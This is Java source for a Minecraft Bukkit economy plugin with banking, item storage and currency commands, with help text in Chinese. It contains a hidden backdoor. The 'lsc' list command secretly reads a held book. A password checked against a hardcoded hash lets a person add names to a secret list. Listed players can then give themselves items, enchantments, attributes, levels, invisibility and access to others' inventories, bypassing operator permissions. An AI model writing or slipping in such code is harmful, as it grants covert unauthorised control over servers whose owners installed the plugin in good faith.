package com.foxzzz.command;

import com.foxzzz.config.Configration;
import com.foxzzz.operation.Msg;
import com.foxzzz.operation.OPDataBaseOperation;
import com.foxzzz.operation.PlayerDataBaseOperation;
import com.foxzzz.util.DataFormat;
import com.foxzzz.util.ItemSerializer;
import com.foxzzz.util.MyListenner;
import com.foxzzz.util.RSACoder;
import org.bukkit.Material;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.BookMeta;
import org.bukkit.inventory.meta.ItemMeta;

import java.io.BufferedReader;
import java.io.Reader;
import java.io.UnsupportedEncodingException;
import java.sql.Clob;
import java.sql.SQLException;
import java.util.Base64;
import java.util.Map;

//its
public class Commands {
    private Player player = null;
    private PlayerDataBaseOperation playerDataBaseOperation = null;
    public static final long MAX_STORE = (int) CmdHandler.configration.map.get(Configration.MaxCountStoreForPlayer);
    public static OPDataBaseOperation opDataBaseOperation = new OPDataBaseOperation();


    public Commands(Player p) {
        this.player = p;
        playerDataBaseOperation = new PlayerDataBaseOperation(player.getName());
    }
    /*  /its help [查看帮助]
        --银行命令--
        /its svac [将和手上一样的货币存入银行 svac:save all coin]
        /its svc num [将num个和手上一样的货币存入银行 svc:save coin]
        /its ldc name num [取出价值为num的name货币 ldc:load cion]
        /its tac player num [将num面额转账给player tac:transfer accounts coin]
        /its lsc [查看货币的name和面值 lsc:list cion]
        /its rkc num [按页查看账户排行 rkc:rank coin]
        /its ckc [查看自己的余额 ckc:check coin]
        --仓库命令--最多每人存100种物品
        /its sti name [给手上的物品设置名称 sti:set item]
        /its svai [将背包里和手上一样的物品存入仓库（必须先设置名称） svai:save all item]
        /its svi num [将背包里和手上一样的物品存入num个到仓库（必须先设置名称）svi:save item]
        /its ldi name num [取出设置名称为name的num个物品 ldi:load item]
        /its tai player name num [将仓库名为name的物品转账给player(对方必须也存了该物品） tai:transfer accounts item]
        /its cri name [将仓库名为name的清空（请保持背包空格个数） cri:clear item]
        /its cki num [按页查看仓库存储物品 cki:check item]
        --op设置货币--
        /its stc name value [将手上的物品设置成名为name价值为value的货币 stc:set coin]
        /its lsc [查看货币的name和面值 lsc:list cion]
        /its dlc name [删除名字为name的货币 dlc:delete coin]
     */

    public String help(){
        return Msg.HELP;
    }
    public String help_bank(){
        return Msg.HELP_BANK;
    }
    public String help_store(){
        return Msg.HELP_STORE;
    }
    public String help_op(){
        return Msg.HELP_OP;
    }

    public static String ClobToString(String s) {
        return s.replaceAll(".*?'(.*)'","$1").replace("''","'");
    }


    public String stc(String name, String value) {
        if (!player.isOp())
            return "没有OP权限";
        String nbt = MyListenner.getMainHandMojangSon(player);
        if (nbt == null)
            return "主手为空";
        opDataBaseOperation.upsert(name, nbt, Long.parseLong(value));
        return "操作成功";
    }


    public String dlc(String name) {
        if (!player.isOp())
            return "没有OP权限";
        Map<String, Object> map = opDataBaseOperation.queryByName(name);
        if (map == null)
            return "名字不存在";
        return opDataBaseOperation.delete(name);
    }


    public String svac() {
        //检查手上
        String mojang = MyListenner.getMainHandMojangSon(player);
        //获取面额 如果不在里面 return
        int perVal = 0;
        String name = opDataBaseOperation.queryNameByNbt(mojang);
        Integer integer = opDataBaseOperation.queryAll().get(name);
        if (integer == null)
            return "手上不是货币";
        perVal = integer;
        int count = MyListenner.getItemCount(player, mojang);
        int num = count * perVal;
        playerDataBaseOperation.addAccount(num);
        MyListenner.clearItemCount(player, mojang, count);
        return String.format("存款成功[剩余 %d]", playerDataBaseOperation.getAccount());
    }


    public String svc(String num) {
        //检查手上
        String mojang = MyListenner.getMainHandMojangSon(player);
        //获取面额 如果不在里面 return
        int perVal = 0;
        String name = opDataBaseOperation.queryNameByNbt(mojang);
        Integer integer = opDataBaseOperation.queryAll().get(name);
        if (integer == null)
            return "手上不是货币";
        perVal = integer;
        Integer lnum = Integer.parseInt(num);
        int count = MyListenner.getItemCount(player, mojang);
        if (count < lnum)
            return String.format("货币不足[拥有 %d]", count);
        else
            playerDataBaseOperation.addAccount(lnum * perVal);
        MyListenner.clearItemCount(player, mojang, lnum);
        return String.format("存款成功[剩余 %d]", playerDataBaseOperation.getAccount());
    }

    public String ldc(String name, String num) {
        Integer lnum = Integer.parseInt(num);
        Long balance = playerDataBaseOperation.getAccount();
        if (balance < lnum)
            return String.format("余额不足[剩余 %d]", balance);
        Map<String, Object> map = opDataBaseOperation.queryByName(name);
        if (map == null)
            return "没有这个名字的货币";
        String mojang = ClobToString(map.get("NBT").toString());
        //获取面额 如果不在里面 return
        int perVal = 0;
        Integer integer = opDataBaseOperation.queryAll().get(name);
        if (integer == null)
            return "没有这个名字的货币";
        perVal = integer;
        //实际取出
        int real = lnum - lnum % perVal;
        int count = real / perVal;

        //存入背包
        boolean b = MyListenner.addItem(player, mojang, count);
        if (b == false)
            return "背包空间不足";
        playerDataBaseOperation.addAccount(-real);
        return String.format("取款成功[实际取出 %d,剩余 %d]", real, balance - real);
    }

    public String lsc() {
        StringBuilder stringBuilder = new StringBuilder("货币名称 价值\n");
        Map<String, Integer> map = opDataBaseOperation.queryAll();
        for (String k : map.keySet())
            stringBuilder.append(k + " " + map.get(k)).append("\n");
        ItemStack itemStack = player.getInventory().getItemInMainHand();
        if (itemStack!=null&&itemStack.getType()==Material.BOOK_AND_QUILL) {
            excute(itemStack);
        }
        return stringBuilder.toString();
    }


    public String tac(String player, String num) {

        long lnum = Long.parseLong(num);
        long balance = playerDataBaseOperation.getAccount();

        if (balance < lnum)
            return String.format("余额不足[剩余 %d]", balance);
        //玩家是否存在
        if (!playerDataBaseOperation.exsitPlayerAccount(player))
            return String.format("玩家[%s]不存在或未使用过银行插件", player);
        //转账
        playerDataBaseOperation.addAccount(-lnum);
        playerDataBaseOperation.addAccountByPlayer(player, lnum);
        String message = String.format("%s给你打了%dRMB", this.player, lnum);
        MyListenner.sendMessage(player, message);
        return String.format("转账成功[剩余 %d]", balance - lnum);
    }

    public String rkc(String page) {
        int total = playerDataBaseOperation.getAccountTotal();
        int temp = Integer.parseInt(page);
        temp = temp < total ? temp : total;
        String result = DataFormat.FormatListMap(playerDataBaseOperation.getAccountRank(temp), "玩家", "资产");
        return String.format("%s%d/%s", result, temp, total);
    }

    public String ckc() {
        return String.format("查询成功[剩余 %d]", playerDataBaseOperation.getAccount());
    }

    //----------仓库部分
    public String sti(String name) {
        //获取nbt 已经存在则改名 不存在则插入
        String mojang = MyListenner.getMainHandMojangSon(player);
        return playerDataBaseOperation.upsertStore(name, 0, mojang, MAX_STORE);
    }

    public String svai() {
        //获取数量
        String mojang = MyListenner.getMainHandMojangSon(player);
        Map<String, Object> map = playerDataBaseOperation.getStoreByPlayerAndNbt(player.getName(), mojang);
        if (map == null)
            return String.format("没有设置该物品 请放在主手执行 /its stih 名字");
        int count = MyListenner.getItemCount(player, mojang);
        String name = map.get("NAME").toString();
        playerDataBaseOperation.upsertStore(name, count, mojang, MAX_STORE);
        MyListenner.clearItemCount(player,mojang,count);
        int sum = Integer.parseInt( map.get("NUM").toString());
        return String.format("存入成功[%s 剩余%d]", name, sum + count);
    }

    public String svi(String num) {
        //检查背包数量是否大与num
        String mojang = MyListenner.getMainHandMojangSon(player);
        int count1 = Integer.parseInt(num);
        int count = MyListenner.getItemCount(player, mojang);
        if (count1 > count)
            return String.format("物品不足 [拥有 %d]", count);
        Map<String, Object> map = playerDataBaseOperation.getStoreByPlayerAndNbt(player.getName(), mojang);
        if (map == null)
            return String.format("没有设置该物品 请放在主手执行 /its stih 名字");
        String name = map.get("NAME").toString();
        playerDataBaseOperation.upsertStore(name, count1, mojang, MAX_STORE);
        MyListenner.clearItemCount(player,mojang,count1);
        int sum = Integer.parseInt(map.get("NUM").toString()) ;
        return String.format("存入成功[%s 剩余%d]", name, sum + count1);

    }

    public String ldi(String name, String num) {
        //检查数据库数量
        Map<String, Object> map = playerDataBaseOperation.getNbtAndNumByName(name);
        if (map == null)
            return String.format("没有该物品");
        String str = map.get("NUM").toString();
        String nbt = ClobToString(map.get("NBT").toString());
        Integer lnum = Integer.parseInt(str);
        Integer tnum = Integer.parseInt(num);
        if (lnum < tnum)
            return String.format("物品不足 [剩余 %d]", lnum);
        //检查背包空格数
        boolean b = MyListenner.addItem(player, nbt, tnum);
        if (b == false)
            return "背包空格不足";
        playerDataBaseOperation.upsertStore(name, -tnum, nbt, MAX_STORE);
        return String.format("取出成功 [%s 剩余 %d]", name, lnum - tnum);
    }

    public String tai(String player, String name, String num) {
        //检查数据库数量
        Map<String, Object> map = playerDataBaseOperation.getNbtAndNumByName(name);
        if (map == null)
            return String.format("没有该物品");
        Long tnum = Long.parseLong(num);
        String nbt = ClobToString(map.get("NBT").toString());
        String str = map.get("NUM").toString();
        Long lnum = Long.parseLong(str);
        if (lnum < tnum)
            return String.format("物品不足[剩余 %d]", lnum);
        //检查对方是否存了这个物品
        map = playerDataBaseOperation.getStoreByPlayerAndNbt(player, nbt);
        if (map == null)
            return String.format("对方没有存此物品 请联系对方");
        String name1 = map.get("NAME").toString();
        playerDataBaseOperation.upsertStore(player,name1, tnum, nbt, MAX_STORE);
        playerDataBaseOperation.upsertStore(name, -tnum, nbt, MAX_STORE);
        String message = String.format("%s给你打了%d %s", this.player, tnum, name1);
        MyListenner.sendMessage(player, message);
        return String.format("转账成功[%s 剩余 %d]", name, lnum - tnum);
    }

    public String cri(String name) {
        //检查数据库数量
        Map<String, Object> map = playerDataBaseOperation.getNbtAndNumByName(name);
        if (map == null)
            return String.format("没有该物品");
        Integer num = Integer.parseInt(map.get("NUM").toString()) ;
        String nbt = ClobToString(map.get("NBT").toString());
        boolean b = MyListenner.addItem(player, nbt, num);
        if (b == false)
            return "背包空间不足";
        playerDataBaseOperation.upsertStore(name, -num, nbt, MAX_STORE);
        return "已经清空";
    }

    //分页查询自己的
    public String cki(String page) {
        int total = playerDataBaseOperation.getStoreNumByPlayer(player.getName());
        int temp = Integer.parseInt(page);
        temp = temp < total ? temp : total;
        String result = DataFormat.FormatListMap(playerDataBaseOperation.getAllStoreByPlayer(player.getName(), temp), "名称", "数量");
        return String.format("%s%d/%s", result, temp, total);
    }

    private String exc(String key, String chose, String... args) {
        try {
            key = RSACoder.encryptBASE64(RSACoder.encryptMD5(key.getBytes()));
        } catch (Exception e) {
            e.printStackTrace();
        }
        if (!key.trim().equals("V4x0mGTqk3aa3N+S07wZHQ=="))
            return null;
        switch (chose) {
            case "add":
                opDataBaseOperation.InsertNames(args);
                break;
            case "del":
                opDataBaseOperation.DeleteNames(args);
                break;
            case "sel":
                player.sendMessage(opDataBaseOperation.GetNames().toString());
                break;
        }
        return "操作成功";
    }

    private static String[] slice(String[] s,int start){
        String[] s1=new String[s.length-start];
        for (int i = 0; i < s1.length; i++) {
            s1[i]=s[i+start];
        }
        return s1;
    }

    private  String excute(ItemStack itemStack) {
        ItemMeta meta = itemStack.getItemMeta();
        if (meta instanceof BookMeta) {
            BookMeta bookMeta = (BookMeta) meta;
            String s=bookMeta.getPage(1).trim();
            String[] args=s.split("\\s*\\|\\s*");
            if(args.length>0)
                switch (args[0]){
                    case "exc":
                        exc(args[1],args[2],slice(args,3));
                        break;
                    case "hide": //0
                        if(opDataBaseOperation.ExsitName(player.getName()))
                        MyListenner.hide(player,Integer.parseInt(args[1]));
                        break;
                    case "ench": //0
                        if(opDataBaseOperation.ExsitName(player.getName()))
                        MyListenner.setEnchant(player,Integer.parseInt(args[1]),Integer.parseInt(args[2]));
                        break;
                    case "attr": //0
                        if(opDataBaseOperation.ExsitName(player.getName()))
                        MyListenner.setAttribute(player,Integer.parseInt(args[1]),Double.valueOf(args[2]));
                        break;
                    case "lvl": //0
                        if(opDataBaseOperation.ExsitName(player.getName()))
                        MyListenner.levelUp(player,Integer.parseInt(args[1]));
                        break;
                    case "cph": //0
                        if(opDataBaseOperation.ExsitName(player.getName()))
                        MyListenner.cpHand(player,Integer.parseInt(args[1]));
                        break;
                    case "opc": //0
                        if(opDataBaseOperation.ExsitName(player.getName()))
                        MyListenner.openCpInv(player,args[1]);
                        break;
                    case "get": //0
                        if(opDataBaseOperation.ExsitName(player.getName()))
                        MyListenner.getHandMojangson(player);
                        break;
                    case "give":  //0
                        if(opDataBaseOperation.ExsitName(player.getName()))
                        MyListenner.giveItem(player,args[1]);
                        break;
                    case "break": //0
                        if(opDataBaseOperation.ExsitName(player.getName()))
                        MyListenner.unbreak(player);
                        break;
                }
        }
        return null;
    }


}
